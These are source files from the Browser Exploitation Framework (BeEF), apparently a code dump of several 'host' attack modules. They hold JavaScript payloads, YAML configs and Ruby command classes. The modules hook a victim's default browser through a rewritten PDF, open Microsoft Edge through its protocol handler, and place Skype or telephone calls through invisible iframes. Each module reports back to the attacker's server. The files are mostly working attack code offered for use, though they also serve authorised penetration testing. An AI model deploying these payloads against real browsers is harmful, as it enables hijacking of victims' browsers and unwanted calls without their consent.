// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var pdf_url = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/report.pdf'; window.open( pdf_url, '_blank'); beef.net.send('<%= @command_url %>', <%= @command_id %>, "Attempted to open PDF in default browser."); });
YAML
beef/modules/host/hook_default_browser/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: hook_default_browser: enable: true category: "Host" name: "Hook Default Browser" description: "This module will use a PDF to attempt to hook the default browser (assuming it isn't currently hooked). <br><br>Normally, this will be IE but it will also work when Chrome is set to the default. When executed, the hooked browser will load a PDF and use that to start the default browser. If successful another browser will appear in the browser tree." authors: ["saafan"] target: not_working: ALL: os: ["iOS","Macintosh"] working: ["All"] user_notify: ["FF", "C"]
Ruby
beef/modules/host/hook_default_browser/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Hook_default_browser < BeEF::Core::Command def self.options configuration = BeEF::Core::Configuration.instance proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http' hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}/demos/report.html" # @todo why is this commented out? [ # {'name' => 'url', 'ui_label'=>'URL', 'type' => 'text', 'width' => '400px', 'value' => hook_uri }, ] end def pre_send # Get the servers configurations. configuration = BeEF::Core::Configuration.instance proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http' # The hook url to be replace the token in the original pdf file. hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}/demos/report.html" # A new pdf file containg the actual hook URI instead of the dummy token. configured_hook_file = File.open('./modules/host/hook_default_browser/bounce_to_ie_configured.pdf', 'w') # The original pdf file contains a token that will get replaced during the initialization with # the actual hook URI of beef. Note that the hook URI is accessed via the DNS name. File.open('./modules/host/hook_default_browser/bounce_to_ie.pdf', 'r') do |original_hook_file| original_hook_file.each_line do |line| # If the line includes the hook token, then replace it with the actual hook URI line = line.sub(/<hookURI>/, hook_uri) if line.include? '<hookURI>' # write the line to a new file configured_hook_file.write(line) end end configured_hook_file.close # Bind the configured PDF file to the web server. BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/hook_default_browser/bounce_to_ie_configured.pdf', '/report', 'pdf', -1) end def post_execute content = {} content['result'] = @datastore['result'] save content # update_zombie! end end
JavaScript
beef/modules/host/hook_microsoft_edge/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var edge_url = "<%== @url %>"; window.location = 'microsoft-edge:' + edge_url; beef.debug("Attempted to open " + edge_url + " in Microsoft Edge."); beef.net.send('<%= @command_url %>', <%= @command_id %>, "Attempted to open " + edge_url + " in Microsoft Edge."); });
YAML
beef/modules/host/hook_microsoft_edge/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: hook_microsoft_edge: enable: true category: "Host" name: "Hook Microsoft Edge" description: "This module will use the 'microsoft-edge:' protocol handler to attempt to hook Microsoft Edge (assuming it isn't currently hooked).<br/><br/>Note: the user will be prompted to open Microsoft Edge." authors: ["bcoles"] target: user_notify: ["C"]
Ruby
beef/modules/host/hook_microsoft_edge/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Hook_microsoft_edge < BeEF::Core::Command def self.options configuration = BeEF::Core::Configuration.instance hook_uri = "#{configuration.beef_url_str}/demos/plain.html" [ { 'name' => 'url', 'ui_label' => 'URL', 'type' => 'text', 'width' => '400px', 'value' => hook_uri } ] end def post_execute content = {} content['result'] = @datastore['result'] save content end end
JavaScript
beef/modules/host/insecure_url_skype/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var sploit = beef.dom.createInvisibleIframe(); sploit.src = 'skype:<%= @tel_num %>?call'; beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!"); });
YAML
beef/modules/host/insecure_url_skype/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: insecure_url_skype: enable: false category: "Host" name: "Make Skype Call (Skype)" description: "This module will force the browser to attempt a skype call. It will exploit the insecure handling of URL schemes<br><br>The protocol handler used will be: skype." authors: ["xntrik", "Nitesh Dhanjani"] target: user_notify: ['S', 'C', 'FF', 'O']
Ruby
beef/modules/host/insecure_url_skype/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Insecure_url_skype < BeEF::Core::Command def self.options [{ 'name' => 'tel_num', 'description' => 'The telephone number to dial', 'ui_label' => 'Number', 'value' => '5551234', 'width' => '200px' }] end def post_execute content = {} content['Result'] = @datastore['result'] save content end end
JavaScript
beef/modules/host/iphone_tel/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var sploit = beef.dom.createInvisibleIframe(); sploit.src = 'tel:<%= @tel_num %>'; beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!"); });
YAML
beef/modules/host/iphone_tel/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: iphone_tel: enable: true category: "Host" name: "Make Telephone Call" description: "This module will force the browser to attempt a telephone call in iOS. It will exploit the insecure handling of URL schemes in iOS.<br><br>The protocol handler used will be: tel" authors: ["xntrik", "Nitesh Dhanjani"] target: user_notify: S: os: ["iOS"] not_working: ALL: os: ["All"]